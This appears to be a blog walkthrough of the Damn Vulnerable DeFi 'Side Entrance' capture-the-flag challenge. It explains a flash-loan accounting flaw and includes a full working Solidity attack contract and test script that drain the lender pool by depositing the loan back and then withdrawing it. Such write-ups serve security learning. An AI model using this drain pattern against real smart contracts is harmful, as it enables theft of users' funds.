# Damn Vulnerable DeFi | 4 - Side Entrance

## Goals

In the **Side Entrance** challenge, we have to steal all the ETH from the pool. Flashloans are free, and we start with 1 ETH.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1714365478626/f405edc0-1136-4421-93cd-14ce166ab0b6.png align="center")

[See the contracts](https://github.com/tinchoabbate/damn-vulnerable-defi/tree/v3.0.0/contracts/side-entrance)

## The Contracts

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "solady/src/utils/SafeTransferLib.sol";

interface IFlashLoanEtherReceiver {
    function execute() external payable;
}

/**
 * @title SideEntranceLenderPool
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract SideEntranceLenderPool {
    mapping(address => uint256) private balances;

    error RepayFailed();

    event Deposit(address indexed who, uint256 amount);
    event Withdraw(address indexed who, uint256 amount);

    function deposit() external payable {
        unchecked {
            balances[msg.sender] += msg.value;
        }
        emit Deposit(msg.sender, msg.value);
    }

    function withdraw() external {
        uint256 amount = balances[msg.sender];
        
        delete balances[msg.sender];
        emit Withdraw(msg.sender, amount);

        SafeTransferLib.safeTransferETH(msg.sender, amount);
    }

    function flashLoan(uint256 amount) external {
        uint256 balanceBefore = address(this).balance;

        IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();

        if (address(this).balance < balanceBefore)
            revert RepayFailed();
    }
}
```

Ok, another flash loan pool to hack here. The `SideEntranceLenderPool` contract is fairly short with only 3 functions: `deposit()`, `withdraw()`, and `flashloan()`.

The contract inherits the `SafeTransferLib` from [Solady](https://github.com/Vectorized/solady).

## The Hack

This is a funny one, nothing complicated, no need to craft complex calldata and play with memory pointers, it is all about visualizing each step and the money flow.

Let's detail the 3 functions that we have at our disposal.

The `deposit()` function is pretty straightforward, it increases the balance of `msg.sender` by `msg.value` and emits an event.

```solidity
    function deposit() external payable {
        unchecked {
            balances[msg.sender] += msg.value;
        }
        emit Deposit(msg.sender, msg.value);
    }
```

Unsurprisingly, the `withdraw()` function works the way around, sending back the whole balance to `msg.sender`. The CEI is respected, the transfer is made via the `safeTransferETH()` function, and an event is emitted. Looks pretty solid.

```solidity
function withdraw() external {
        uint256 amount = balances[msg.sender];
        
        delete balances[msg.sender];
        emit Withdraw(msg.sender, amount);

        SafeTransferLib.safeTransferETH(msg.sender, amount);
    }
```

Last one, the `flashloan()` function which allows us to borrow an arbitrary amount from the pool:

```solidity
    function flashLoan(uint256 amount) external {
        uint256 balanceBefore = address(this).balance;

        IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();

        if (address(this).balance < balanceBefore)
            revert RepayFailed();
    }
```

The balance before is checked, and compared with the balance after. It is calling the `execute()` function as a callback to the flash loan receiver.

So, have you found the exploit yet?

Let's say that we request a flashloan for the total amount of ether in the pool. What could we do next? How could we drain this pool?

We will have to repay the loan somehow, because of the following check: `if (address(this).balance < balanceBefore) revert RepayFailed()`. But this check simply makes sure the contract's balance is equal to the contract's balance before the loan. What if we use the `execute()` callback to deposit the whole amount back via the `deposit()` function?

The `RepayFailed()` won't be triggered since the ETH will effectively be back to the contract. However, our balance will now be equal to the pool's balance! So after repaying the flashloan, we will just have to use the `withdraw()` function to get rich!

## Solution

Let's implement the **Side Entrance** solution accordingly. We can craft a contract that will handle the logic as follows:

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;

interface IPool {
    function deposit() external payable;
    function withdraw() external;
    function flashLoan(uint256 amount) external;
}

contract Attack4 {
    IPool private immutable pool;
    address private immutable player;

    constructor(address _pool, address _player) {
        pool = IPool(_pool);
        player = _player;
    }

    receive() external payable {}

    function attack() external {
        pool.flashLoan(address(pool).balance);
        pool.withdraw();
        (bool success, ) = player.call{value: address(this).balance}("");
        require(success, "Eth transfer failed");
    }

    function execute() external payable {
        pool.deposit{value: msg.value}();
    }
}
```

When the `SideEntranceLenderPool` will call the `execute()` function in our malicious contract, it will call the `deposit()` function back with the whole loan amount and complete the flashloan.

Next, we have to edit the `side-entrance.challenge.js` page so it will deploy our contract and launch the attack:

```solidity
it("Execution", async function () {
    /** CODE YOUR SOLUTION HERE */

    const Attack4 = await ethers.getContractFactory("Attack4", deployer);
    const attack4 = await Attack4.deploy(pool.address, player.address);
    await attack4.attack();
  });
```

Finally, we can run the test with the following command:

```solidity
yarn side-entrance
```

And we get the following printed in the terminal:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1714367470995/8731ba7c-7ea8-44fc-8bf5-580ecbf0f025.png align="center")

Congrats! You just beat the level 4 - Side Entrance - of Damn Vulnerable DeFi.

**🎉 Level completed 🎉**

## Takeaway

* Making your contract work is not enough. It is crucial to look and account for all edge cases.
    
* The `nonReentrant()` modifier could have been used on all 3 functions to prevent any kind of reentrancy. Better safe than sorry!
    

---

You can find all the codes, challenges, and their solutions on my GitHub: [https://github.com/Pedrojok01/Damn-Vulnerable-Defi-Solutions](https://github.com/Pedrojok01/Damn-Vulnerable-Defi-Solutions)
